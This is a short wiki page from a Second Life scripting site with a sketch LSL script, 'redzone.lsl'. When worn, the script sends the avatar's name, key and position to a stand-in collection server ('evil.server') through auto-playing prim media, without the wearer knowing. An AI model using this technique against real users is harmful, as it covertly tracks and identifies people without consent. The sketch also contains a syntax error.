Sketch LSL Code

redzone.lsl
default{
  state_entry() {
    // Clear default media.
    llClearPrimMedia(0);
  }
  // When the avatar attaches the object...
  attach(key z) {
    // First clear the media again...
    llClearPrimMedia(0);
    // Craft a string containing the name of the avatar, their key and the position they are at.
    string x="http://evil.server/collect.php&name="+llEscapeURL(llKey2Name(llGetOwner()))+"&key="+llEscapeURL((string)llGetOwner())+"&position="+llEscapeURL((string)llGetPos());
    // Next, set the prim-media to the URL build above.
    llSetPrimMediaParams(0[PRIM_MEDIA_AUTO_PLAY,1,PRIM_MEDIA_AUTO_PLAY,1,PRIM_MEDIA_CURRENT_URL,x,PRIM_MEDIA_HOME_URL,x,PRIM_MEDIA_HEIGHT_PIXELS,512,PRIM_MEDIA_WIDTH_PIXELS,512]);
    // Wait for 180 seconds to give the avatar time to access the URL.
    llSetTimerEvent(180);
  }
  timer(){
    // After the alarm, clear the media so we do not get flooded with other requests.
    llClearPrimMedia(0);
    // .. and stop.
    llSetTimerEvent(0);
  }
}

secondlife/redzone/client_side.txt ยท Last modified: 2022/11/24 07:46 by 127.0.0.1

Access website using Tor Access website using i2p Wizardry and Steamworks PGP Key


For the contact, copyright, license, warranty and privacy terms for the usage of this website please see the contact, license, privacy, copyright.